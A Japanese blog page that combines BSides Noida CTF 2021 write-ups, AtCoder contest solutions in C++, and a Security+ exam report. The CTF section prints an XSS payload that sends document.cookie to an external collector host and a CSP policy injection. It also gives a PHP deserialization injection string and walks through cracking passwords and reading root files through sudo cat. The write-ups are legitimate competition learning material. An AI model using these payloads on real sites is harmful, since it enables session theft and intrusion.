はまやんはまやんはまやん

hamayanhamayan's blog

BSides Noida CTF 2021 Writeups

CTFtime.org / BSides Noida CTF
解けたやつだけ。

Web

Baby Web

ソースのindex.phpを見ると、db参照していることが分かる。
$this->open('./karma.db');
SQLiteでよくあるdbにそのままアクセスできてしまうアレではないか探ってみると、ダウンロードできる。
http://ctf.babyweb.bsidesnoida.in/karma.db
DB Browser for SQLiteを使って中身を見るとフラグが書いてある。

Basic Notepad

適当にログインして、触ってみるとXSSの問題のようだ。
適当にpayloadを入れてみると、GETリクエストで何やら送られていることが分かる。

msgにはURL safeなBase64デコードで文字が入っている。jsは動いてないな。
tokenはなんだろう。よくわかっていない。
jsが動かない原因を探っていこう。

CSPか。
Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none'; script-src-elem 'none'; report-uri /report/T0r3RdviLu3IronQMXXW0g
defaultがないな。report-uriは試しに踏んだが、存在しなかった。

CSPには死角が無いように見えるが、tokenが差し込まれている部分でCSPのポリシーをinjectionできそうだ。

msgとして<img src=1 onerror="window.location.href='https://oh97z6pmjx5deoubfcrfp7e7pyvpje.burpcollaborator.net?get='+document.cookie">をいれて、
tokenとして、; script-src-attr 'unsafe-inline'をURLエンコードしたものを入れる。
すると、CSPの最後に新たにscript-src-attrポリシーが追加されるので、imgタグのjsコードが動いてくれる。

これを送ると、セッションっぽいのが抜けて、それを使ってログインすれば、フラグが得られる。
GET /?get=auth=YWRtaW46djNyeTUzY3IzdFA0c3N3MHJkZGRk
-> admin:v3ry53cr3tP4ssw0rdddd

wowooo

ソースコードを見ると

PLSSS DONT HACK ME!!!!!!
<!-- debug -->

とあるので、/?debugするとソースコードが見られる。
入力があって、シリアライズされた配列に直接入れこんでunserializeして、2番目の要素を指定の文字列に書き換える。
Injection的なことをするんだろうと推測しながら手元で色々実験してみると、以下のようなコードで配列の要素をうまく差し込めそうな感じがする。

<?php
var_dump(unserialize('a:2:{i:0;s:1:"A";i:1;s:1:"B";}i:2;s:1:"C";}'));

これをやると末尾の無駄な文字列は無視されてarray(2) { [0]=> string(1) "A" [1]=> string(1) "B" }と出る。
";i:1;s:19:"V13tN4m_number_one ";}が答えっぽいが、これではダメ。
コードを使って、デシリアライズ前の文字列を見てみるとa:2:{i:0;s:34:"";i:1;s:19:"V13tN4m_number_one ";}";i:2;s:1:"C";}となっていて、
1要素目が空になっているのに34文字となっている。
確かにコードを見ると、そういう感じになる。

ここで、よくわからないフィルターが役に立つ。
コード長を確認した後にフィルターを使っているので、flagが1つ含まれていれば文字を2文字増やすことができる。
34文字分増えているので、それを帳消しにするには17回flagを入れればいいので、
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}
を入れるとフラグが出てくる。

misc

Psst

圧縮ファイルが与えられて沢山ファイルがある。
適当にファイルを見てみると、フラグが先頭から出てくるような雰囲気になっている。

最適解ではなさそうだが、以下のやり方で採取してきた。シェル芸を勉強するのはちょっと面倒なので、なるべく持ってる知識でやった

  1. find . -type f -exec tail -n+1 {} +でフォルダ内を全部表示
  2. 順番がごちゃごちゃなので、マルチカーソルで番号を文字を取り出してくる
  3. 表計算ソフトでソート
  4. 一行に戻すとフラグ

Death Note

普通にTryHackMeする問題。

ユーザー権限獲得まで

とりあえずnmapすると、21,22,80が空いている。
80を覗いてみるが、特に面白そうなものはない。
FTPでanonymousいけるっぽいので探索してみる。
特に何もないな。wordlistがあるので、80でディレクトリスキャンしてみよう。
/ryuk.applesというのが刺さり、プライベート鍵が公開されている。
johnで解析するとパスワードはl1ght1skir4とのことで、これでログインしよう。
ssh -i ./pri.key ryuk@$IPでパスワード指定するとログインできる。

ルート権限獲得まで

/home/mrgrepを見てみると.sudo_as_admin_successfulという隠しファイルが見つかる。
mrgrepの権限が取れればルート権限まで行けそうだが…?

よく見ると、ryukのホームディレクトリにshadowファイルが置いてある。
ラテラルムーブメントか。
john the ripperと与えられた辞書ファイルを使うと、lightのパスワードが分かる。
MrBS1d3sGrepN0ida@!1337

lightでログインできたので、linpeasを動かしてみる。

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
Matching Defaults entries for light on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User light may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat

catがsudoで動かせるとのこと。
cat | GTFOBins
ここを見ると、好きなファイルを覗き見ることができるようだ。
/home/mrgrep/.bash_historyが怪しいなと思っていたところだったので、この中身を見てみる。
すると/root/root.txtというパスが新たに得られるので、このファイルを同様のテクニックで見てみるとフラグが書いてある。

Common Prefixes [AtCoder Beginner Contest 213 F]

https://atcoder.jp/contests/abc213/tasks/abc213_f

前提知識

解説

https://atcoder.jp/contests/abc213/submissions/24898387

Suffix ArrayとLCPの知識が無ければ、まず解くことはできない。
以下で軽く説明するが、他方で勉強する方がオススメ。

愚直解

問題で要求されている問題をそのまま解くのも意外と難しく、前提知識が要求される。
なので、まずは愚直解が解けるかどうかがポイントになる。
f(S[k], S[i])を高速に解くための方法がSuffix Array+LCPになる。

前提知識1: Suffix Array

これは文字列Sのsuffix(接尾語)を辞書順に並べた配列のことである。
接尾語?という感じかもしれないが、今回の問題は接尾語の集合に対する操作になっている。
abcにはabc, bc, cという接尾語のレパートリーがあり、それらの類似度を独自に計算している。

Suffix Arrayの雰囲気を軽く説明する。
aabaacという文字列に対してSuffix Arrayを考えてみる。
接尾語を書き下すと

aabaac  
abaac  
baac  
aac  
ac  
c  

となる。これを辞書順に並べると

aabaac  
aac  
abaac  
ac  
baac  
c  

となる。これを得るのが、Suffix Array
本当は、具体的にはどこから始まったかだけが得られるので{0,3,1,4,2,1}が得られる。

前提知識2: LCP

LCPは今回の類似度で要求されている先頭から何文字同じかを求めるものであり、Suffix Arrayの場合であれば、
辞書順に並べたときに隣接する文字列で何文字同じかを求めたものになる。

aabaac  
aac  
abaac  
ac  
baac  
c  

この例を再度使うと、隣接する文字列で何文字同じかを見ればいいので

2  
1  
1  
0  
0  

となる。
このSuffix ArrayとLCPと区間最小値のセグメントツリー(またはスパーステーブル)によって任意の接頭語同士の
先頭から同じ文字数を高速に求めることができる。
例えば、aabaacとabaacの同じ文字数を求めたいときは、まずはSuffix Arrayのどことどこにあるかを見つけて

> aabaac  
  aac  
> abaac  
  ac  
  baac  
  c  

その間にあるLCPの最小値を求めれば、{2, 1}なので1であり、それが2つの接尾語の共通する先頭文字列数となる。
このようにSuffix ArrayとLCPが求められていれば、2つの接尾語の共通する先頭文字列数、f(S[k], S[i])は
区間minが計算できれば求めることができるようになる。
区間minをスパーステーブルを使うことができれば、愚直解はO(N2)で計算することができる。
ここまでをしっかり理解できる所が折り返し地点となる。

なお、Suffix ArrayとLCPについてはAtCoder Libraryにライブラリがあるので活用するといい。
区間minの部分については自分で何とかする。
自分は丸ごとライブラリにしてある。

高速化へ

高速化への糸口を探すために以下の例を使おう。
Suffix Arrayの順番になっているので、答えるときはもともとの順番に変換する必要があるが、そこは頑張って。

1 aabaac  
2 aac  
3 abaac  
4 ac  
5 baac  
6 c  

f(S[k], S[i])を計算していくが、ここでi<kに限定して計算していくことをまずは考えていく。
i=kについては事前に文字数分足し合わせておくことにして、i>kについてはこれから説明することを順番をひっくり返してやればいい。
まあ、とにかくi<kの場合に限定して考えてみる。

k=1の場合は特に何もしない。

k=2の場合はf(S[2], S[1])を計算すればいい。これはこれまでに説明したことからできる。

k=3の場合はf(S[3], S[2])+f(S[3], S[1])を計算すればいい。
この後半部分は、最小値が計算されているということを考慮すると、

f(S[3], S[1]) = min(f(S[3], S[2]), f(S[2], S[1]))

となる。これがすごい大事なので、ちゃんと理解してほしい。
f(S[3], S[1])はLCP的にはmin(lcp[3][2], lcp[2][1])を取っているような感じになるので、
f(S[3],S[2])=lcp[3][2], f(S[2],S[1])=lcp[2][1]であることを考えると筋が通る。

k=4の場合はf(S[4], S[3])+f(S[4], S[2])+f(S[4], S[1])を計算すればいい。
これも同様に考えてみると、
f(S[4], S[2]) = min( f(S[4],S[3]), f(S[3], S[2]) )
f(S[4], S[1]) = min( f(S[4],S[3]), f(S[3], S[1]) )
となる。

さて、これがなんだ?という話に戻るが、とあるkを処理する場合にk-1から高速に差分計算をすることで
f(S[k], S[k-1]) + f(S[k], S[k-2]) + ... + f(S[k], S[1])を計算することができるということである。

f(S[k-1], S[k-2]) + f(S[k-1], S[k-3]) + ... + f(S[k-1], S[1])

がもともとあったとして、すべての要素に対してf(S[k], S[k-1])とminを取る。すると、

f(S[k], S[k-2]) + f(S[k], S[k-3]) + ... + f(S[k], S[1])

こういう風に値が変化するので、あとは、f(S[k], S[k-1])を足せば

f(S[k], S[k-1]) + f(S[k], S[k-2]) + f(S[k], S[k-3]) + ... + f(S[k], S[1])

となって差分計算ができる。この理解が最後の山になるので頑張ってほしい。
これが分かれば、あとは、

  • 全体にmin xを取る
  • xを入れる
  • 総和を求める

ことができるデータ構造があれば答えを求めることができる。
ここまで理解できれば、もうほぼ解けているし、ここまで分かる人にとってはデータ構造づくりは大丈夫。

データ構造

自分はstackを使って実装した。
{数, その数の個数}をstackに入れる感じで実装した。
別途、stackに入っている数の総和をtotとしてもっておく。
stackには深いほど小さい数が入っているような感じにしておいて、新しい数xを入れるときに、
xより大きい数は取り出してtotから引いて、その数をxに変換してstackとtotに入れなおすということをする。
つまり、stackには狭義単調減少している状態を保ちながら、総和を持っておくシステムである。

こうすることで毎回min操作でstackに入れる回数は1回になり、stackから出す回数は入れる回数を上回るわけはないので、
stackに入れる回数がO(N)で抑えられるので全体としてはO(N)で実装が行える。

int N; string S;
ll ans[1010101];
//---------------------------------------------------------------------------------------------------
stack<pair<int, int>> que;
ll tot = 0;
void init() {
    while (!que.empty()) que.pop();
    tot = 0;
}
void add(int x) {
    int cnt = 1;
    while (!que.empty()) {
        if (que.top().first < x) break;

        auto q = que.top(); que.pop();
        tot -= 1LL * q.first * q.second;
        cnt += q.second;
    }

    tot += 1LL * x * cnt;
    que.push({ x, cnt });
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> S;

    SuffixArraySAIS sais(S);

    rep(i, 1, N + 1) ans[sais.sa[i]] = N - sais.sa[i];
    rep(i, 2, N + 1) {
        add(sais.common_prefix(sais.sa[i - 1], sais.sa[i]));
        ans[sais.sa[i]] += tot;
    }
    
    init();
    rrep(i, N - 1, 1) {
        add(sais.common_prefix(sais.sa[i + 1], sais.sa[i]));
        ans[sais.sa[i]] += tot;
    }

    rep(i, 0, N) printf("%lld\n", ans[i]);
}

Stronger Takahashi [AtCoder Beginner Contest 213 E]

https://atcoder.jp/contests/abc213/tasks/abc213_e

前提知識

解説

https://atcoder.jp/contests/abc213/submissions/24896937

確かに01BFSで解けるというか、まんまですね…
最終的な最短距離を求める方法がダイクストラでもいいし、計算量がより良い01-BFSでもいいしという感じです。
本解説では、辺の貼り方を重点的に説明するので、そのあたりを理解してもらえれば、あとはどっちかを使って計算する感じです。
あと、01-BFSの解説は以下がオススメです。
01-BFSのちょっと丁寧な解説 - ARMERIA
一応はっきりさせておくと、今回はコスト0の辺があるので普通のBFSだとWAします。

最短経路問題

今回の問題は最短経路問題であり、その場合によく使われるダイクストラとかその方面で考え始めることができれば答えに近づくことができる。
ダイクストラで問題を解く方向で考えていこう。
(最終的に辺のコストは0か1になるので、01-BFSでも解けるねってなります)
パンチという条件がかなり珍しい条件であるので、それをいかに条件に組み込めるかが重要になる。

隣接移動

隣接するマスへの移動は壁が無ければコスト無しで(パンチ無しで)移動することができる。
よって、隣接する4マスについては壁が無ければ辺のコスト0で辺を貼ることにする。
これはいいだろう。

パンチ

パンチを1回繰り出すことで移動できる場所について考えてみる。

.ooo.  
ooooo  
ooxoo  
ooooo  
.ooo.  

現在xにいるとして周りがすべて壁に囲まれていたと仮定すると、oがついている所はすべて1回のパンチで移動可能となる。
よって、xからoへの遷移はコスト1の辺を貼ってしまっていい。
要は、この移動に関しては壁があるかどうかにかかわらずパンチして移動すると考えるのである。

こうすると、無駄にパンチを打ってしまいそうな気もするのだが、コスト0の隣接移動も辺は貼っているので、
パンチの必要が無ければそっちの辺が採用されて最適解が求まる。

これはダイクストラとかでよく自分が使うテクだが、無駄な辺があっても実装が楽になるなら残しておくようにしている。
実際は間に壁が無ければコスト1の辺は貼る必要はないのだが、あっても最適解は求まるので、
大変な判定を実装するよりかはそのまま貼ってしまってアルゴリズムに任せる方針をよく取る。
(非本質な延長線上のテクだが、辺の貼り方にあんまり自信がないときに関係なさそうだけど貼っとくかという感じで無駄な辺を貼ってみたりもする)
(こんなことしてるから競プロが上達しない)

あとは最短経路を求めるだけ

普通にダイクストラを書いて、遷移可能な隣接する4マスへコスト0の辺と、パンチで遷移可能なマスへコスト1の辺の遷移をすれば答えまで導ける。
パンチでの遷移については、[y-2,y+2]と[x-2,x+2]の2重ループでうまいこと書いた。
端っこだけ遷移できないので、マンハッタン距離が4の場合は遷移しないようにした。
無駄な(x,y)から(x,y)へのコスト1の遷移も含まれているが、前述の理由により残している。

int H, W;
string S[505];
template<typename T> using min_priority_queue = priority_queue<T, vector<T>, greater<T>>;
int vis[505][505];
int opt[505][505];
int dx[4] = { 0, 1, 0, -1 }, dy[4] = { -1, 0, 1, 0 };
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W;
    rep(y, 0, H) cin >> S[y];

    rep(y, 0, H) rep(x, 0, W) opt[y][x] = inf;
    
    min_priority_queue<pair<int, int>> que;
    que.push({ 0, 0 });
    opt[0][0] = 0;

    while (!que.empty()) {
        auto p = que.top(); que.pop();

        int cst = p.first;
        int y = p.second / W;
        int x = p.second % W;      

        if (vis[y][x]) continue;
        vis[y][x] = true;

        rep(d, 0, 4) {
            int xx = x + dx[d];
            int yy = y + dy[d];
            if (0 <= xx && xx < W && 0 <= yy && yy < H) {
                if (S[yy][xx] == '.') {
                    if (chmin(opt[yy][xx], opt[y][x])) {
                        que.push({ opt[yy][xx], yy * W + xx });
                    }
                }
            }
        }

        rep(yy, y - 2, y + 3) rep(xx, x - 2, x + 3) {
            if (abs(x - xx) + abs(y - yy) == 4) continue;
            if (0 <= xx && xx < W && 0 <= yy && yy < H) {
                if (chmin(opt[yy][xx], opt[y][x] + 1)) {
                    que.push({ opt[yy][xx], yy * W + xx });
                }
            }
        }
    }

    cout << opt[H - 1][W - 1] << endl;
}

Takahashi Tour [AtCoder Beginner Contest 213 D]

https://atcoder.jp/contests/abc213/tasks/abc213_d

前提知識

  • dfs

解説

https://atcoder.jp/contests/abc213/submissions/24895917

今回の問題はDFSというか、オイラーツアーというかという問題。
とにかく木上での深さ優先探索ができるなら解ける問題。

何から始めるのか

正直この問題を見たときにオイラーツアーが思い浮かんだので、そこから考えると解けた。
オイラーツアーについて勉強している人にとっては思いつきやすかったかもしれない。

だが、ルールに従ってシミュレーションをしてみると、移動の軌跡がちょうど木上でのDFSと同じ挙動になっているので、
とりあえずDFSでやってやればよさそうと感じ取れるかもしれない。

今回の問題の解法はただシミュレーションするだけである。

シミュレーション

木上のDFSをするときに隣接グラフを持つと思うが、その隣接グラフの各配列(遷移先をまとめた配列)は昇順ソートしておこう。
これは、ルールに含まれる「いまいる都市と道路で直接つながっている都市のうち、まだ訪れたことがない都市が存在するとき、
そのような都市のうち番号が最も小さい都市へ移動する」を満たすためである。
さて、まず都市1からスタートするので、dfsのスタート地点もそこから始める。
そこから遷移を始めていくが、どれもまだ訪れていない都市なので、遷移先で最小のもの(昇順ソートしているので最初のもの)を選んで移動する。
移動したら、都市番号を出力しておく。
で、遷移後にまた移動していくが、都市1から来ていて、そこはすでに訪れているので、先にそれ以外の頂点を訪れる必要がある。
で、全部訪れたら遷移元に戻っていく。
これはまさしくDFSの操作である。

なので、遷移先を昇順ソートしていけば、後はDFSをすれば勝手にルールを満たす動きになる。
後は、適切に都市番号の出力を行っていけば答えが構築できる。

int N;
vector<int> E[201010];
//---------------------------------------------------------------------------------------------------
void dfs(int cu, int pa = -1) {
    if (cu != 0) printf(" ");
    printf("%d", cu + 1);

    fore(to, E[cu]) if (to != pa) {
        dfs(to, cu);
        printf(" %d", cu + 1);
    }
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        E[a].push_back(b);
        E[b].push_back(a);
    }
    rep(i, 0, N) sort(all(E[i]));
    
    dfs(0);
    printf("\n");
}

Reorder Cards [AtCoder Beginner Contest 213 C]

https://atcoder.jp/contests/abc213/tasks/abc213_c

前提知識(というかそのもの)

  • 座標圧縮

解説

https://atcoder.jp/contests/abc213/submissions/24895309

今回の問題は座標圧縮という典型アルゴリズムの実装を要求されている。
座標圧縮を理解すれば、この問題はそれを使うだけで解くことができるので、
ググって理解してくることをオススメする。
…と書くと、書くことがなくなってしまうので、座標圧縮自体を今回は説明することにする。
解説にも相性があると思うので、以下が分からなかったら、適当に調べて色々見てみることを勧める。
先に書いておくと、図は作らないので、確実に他の記事の方が分かりやすい。

座標圧縮

座標圧縮が目標とすることは、2 4 7という数列に対して、小さい方から0,1,2と番号を振りなおす作業のことである。
よって2 4 7に対して「座標圧縮をする」と0 1 2と変換される。
4 1 9であれば1 0 2になるし、4 3 3 1なら2 1 1 0となる。
なんとなく何をしているかは分かると思うが、活用例が思いつかないと何のための操作か分からないかもしれない。

座標圧縮をどうやって実装するか

今まで2通りの実装方法を見たことがある。
ソートを使う方法とmap(連想配列)を使う方法であるが、今回はソートの方法でやってみる。

vector<int> ys;  
rep(i, 0, N) ys.push_back(A[i]);  
sort(all(ys));  
ys.erase(unique(all(ys)), ys.end());  
rep(i, 0, N) A[i] = lower_bound(all(ys), A[i]) - ys.begin();  

配列Aに対して座標圧縮を適用している。
まず、配列Aの要素の全てを1つの配列ysに移し替える。
次に移し替えた配列ysをソートして、unique関数とerase関数を組み合わせることで重複した要素を削除する。
これで、配列ysはソート済みで、かつ、配列Aに入っている数が重複なく入っている配列となる。
これがあればlower_boundを使って、あるA[i]が配列ysの何番目にあるかを高速に求めることができる。
そして、その何番目かという部分が座標圧縮後の値になっているので、それに置き換えていけば完了。
なお、座標圧縮前の数に戻したいときは配列ysを使えば、座標圧縮後のyは、座標圧縮前のys[y]となる。

さて…

この説明で座標圧縮が伝わっているといいのだが、これを使えば今回の問題は解ける。
今回の問題に戻ると、今回の問題は使われていない行や列を削除すると、最終的な座標はどうなりますか?という問題である。
これは0 4 90 1 2と変換されることを間を詰める、使われていない間の数を削除して詰めることとよく似ている。
というか同じことである。
そして、行と列の操作は互いに全く影響しない、もう少し具体的に言うと、列を1つ削除しても使われている行が使われなくなったり、
使われていない行が使われることは発生しない。
よって、行と列は独立に、それぞれ分けて変換しても問題ない。
なので、配列Aと配列Bに対して座標圧縮を行って1-indexedで答えれば答えとなる。

int H, W, N, A[101010], B[101010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W >> N;
    rep(i, 0, N) cin >> A[i] >> B[i];

    vector<int> ys;
    rep(i, 0, N) ys.push_back(A[i]);
    sort(all(ys));
    ys.erase(unique(all(ys)), ys.end());
    rep(i, 0, N) A[i] = lower_bound(all(ys), A[i]) - ys.begin();

    vector<int> xs;
    rep(i, 0, N) xs.push_back(B[i]);
    sort(all(xs));
    xs.erase(unique(all(xs)), xs.end());
    rep(i, 0, N) B[i] = lower_bound(all(xs), B[i]) - xs.begin();

    rep(i, 0, N) printf("%d %d\n", A[i] + 1, B[i] + 1);
}

CompTIA Security+ SY0-601 合格記

今日受けてきたので、後続のために合格記としてエッセンスだけまとめておく。

CompTIA Security+ SY0-601

多分検索で来た人は全員知っているだろうが、ベンダーニュートラルなセキュリティ資格。
最近改訂された。
今年はこのFREE RETAKEキャンペーンやってたので、ちょうど検討していた所だし、チャレンジしておいた。
https://www.comptia.jp/campaign/freeretake2021/
750点で合格だが、769点で合格した。

対策について

自分がやった対策は、

という感じで合格できました。ちなみに勉強前の能力値的には、

  • 問題集は初回7割正解
  • テキストは3分の2は知っていた
  • テキストを終えた時点で、シラバスの3分の2は知っていた
  • CompTIA Network+は持ってない

みたいな感じです。こっからの勉強で合格ギリギリなので、怪しい人はNetwork+から始めてもいいかも。
あと、他の合格記を見ると、TACが出してるWeb模擬試験がかなり有効らしいが、今回は使ってないので真偽はわからない。
SY0-601向けのものはまだ出ていないが、出たら教材の候補としていいんじゃないかなと思う。

テストについて

家でテストを受けた。内容について細かくは触れないが、いくつか問題無さそうな範囲でアドバイスしておく。

  • 30分前にセッション開始できるが、テスト前に色々やることがあるので、早めに入っておくのがオススメ
  • 最後の2択で迷うというのがいくつかあった。用語は正確に頭に入れておくこと
  • 国際資格でありながら日本語で受験できるのはとてもありがたい。しかし、日本語での判断が少し怪しいものがあったので、そういった場合は提供されている英文を見ることを勧める。英文を見ることで回答できた問題がいくつかあった

合格の一助になれば幸いです。

Greedy Takahashi [AtCoder Beginner Contest 212 F]

https://atcoder.jp/contests/abc212/tasks/abc212_f

前提知識

解説

https://atcoder.jp/contests/abc212/submissions/24698572

最終的にはダブリングを使用して解く。
ダブリングについては説明しないので、どこかで学習してきてほしい。

重要性質

グラフの問題を考えるときは頂点を状態として考えたくなるが、とある頂点からの遷移を考えると、
この頂点にいる時間によって遷移先が変わってしまう。
なので、状態を考える場合に(頂点, 時間)というセットで考えなくてはならなくなる。
だが、この時、状態として考えるべき時間は、遷移に必要な両端の時間に限られる。
これは実質的に考えると辺の両端が状態として考えられていることになる。
これなら状態数はO(M)となるので、まだ管理できることになる。
なので、状態は辺を中心に考えた方がよさそうである。

そのうえで出てくる大切な性質が、とある辺が使われた後に使用される辺は一意に定まるということである。
これはよく見ると、問題文にも「M本のバスの出発時刻は互いに異なることが保証されるため、
高橋くんが乗るバスは常に一意に定まります。」とやや触れられていることである。

解答方針「シミュレーション高速化」

この性質を元に解法方針を考えてみる。
今回の方針は「シミュレーション高速化」である。
Q個のクエリがあるが、各クエリについて高速にシミュレーション、つまり、
バスの移動を行って最終的な状態を答えることにする。

バスの移動で1回や2回、場合によっては10000回行うことになると思うが、これを高速化する。
移動を高速化といえば、そして、条件として移動先が一意に定まるといえば、ダブリングである。

ダブリング

dp[edge][p] := 辺edgeを最後に使った状態で、2p回辺を使って移動したときに最後に使った辺の番号

このように定義すると、dp[edge][p] = dp[ dp[edge][p-1] ][p-1]と更新することでテーブルが作れる。

初期状態を作るのがやや厄介かもしれない。

dp[edge][0] := 辺edgeを最後に使った状態で、1回辺を使って移動したときに最後に使った辺の番号

これは辺edgeを最後に使ったということなので、状態としては、頂点B[edge]にT[edge]時間でいるということになる。
なので、B[edge]が始発でT[edge]時間に最も近い辺を持ってくればいい。
これは自分の実装ではgetNextIndex関数として実装している。

getNextIndex(int position, int curtime) := position頂点にcurtime時間でいるときに次使われる辺の番号(もしなければMを返す)

遷移できないときはMを返すようにしておいて、dp[M][p] = Mとしておけばいい感じにループしてくれて場合分けがいらなくなる。

シミュレーション高速化

あとは、ダブリングテーブルを使って時間を確認していく。
219回移動した場合、218回移動した場合というのを順に試していけばいい。
移動するかどうかは、移動後に見たい時間を過ぎてしまっているかを判定する。
過ぎてしまっているなら、その回数移動はできないし、過ぎていないなら、その回数移動できるので移動する。
最終的に、最後の一手の手前までくるはずなので、辺と時間の関係性を見ながら、移動前か、移動中か、移動後かを判定して答えを出す。

int N, M, Q;
int A[101010], B[101010], S[101010], T[101010];
vector<pair<int, int>> E[101010];
int dp[101010][20];
//---------------------------------------------------------------------------------------------------
int getNextIndex(int position, int curtime) {
    auto res = lower_bound(all(E[position]), make_pair(curtime, -1));
    if (res == E[position].end()) return M;
    return res->second;
}
//---------------------------------------------------------------------------------------------------
pair<int,int> getAns(int X, int Y, int Z) {
    int nearest = getNextIndex(Y, X);
    if (nearest == M) return { Y, -1 };
    if (Z <= S[nearest]) return { Y, -1 };
    else if (S[nearest] < Z && Z <= T[nearest]) return { A[nearest], B[nearest] };

    int curtime = T[nearest];
    int curedge = nearest;
    
    rrep(p, 19, 0) {
        int nxt = dp[curedge][p];
        if (nxt == M) continue;
        if (T[nxt] < Z) {
            curtime = T[nxt];
            curedge = nxt;
        }
    }

    nearest = getNextIndex(B[curedge], curtime);
    if (nearest == M) return { B[curedge], -1 };

    if (Z <= S[nearest]) return { A[nearest], -1 };
    if (S[nearest] < Z && Z <= T[nearest]) return { A[nearest], B[nearest] };
    return { B[nearest], -1 };
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> M >> Q;
    rep(i, 0, M) {
        cin >> A[i] >> B[i] >> S[i] >> T[i];
        A[i]--, B[i]--;
        E[A[i]].push_back({ S[i], i });
    }
    rep(i, 0, N) sort(all(E[i]));

    rep(edge, 0, M) dp[edge][0] = getNextIndex(B[edge], T[edge]);
    rep(p, 0, 20) dp[M][p] = M;
    rep(p, 1, 20) rep(edge, 0, M) dp[edge][p] = dp[dp[edge][p - 1]][p - 1];

    rep(_, 0, Q) {
        int X, Y, Z; cin >> X >> Y >> Z; Y--;
        auto ans = getAns(X, Y, Z);
        printf("%d", ans.first + 1);
        if (0 <= ans.second) printf(" %d", ans.second + 1);
        printf("\n");
    }
}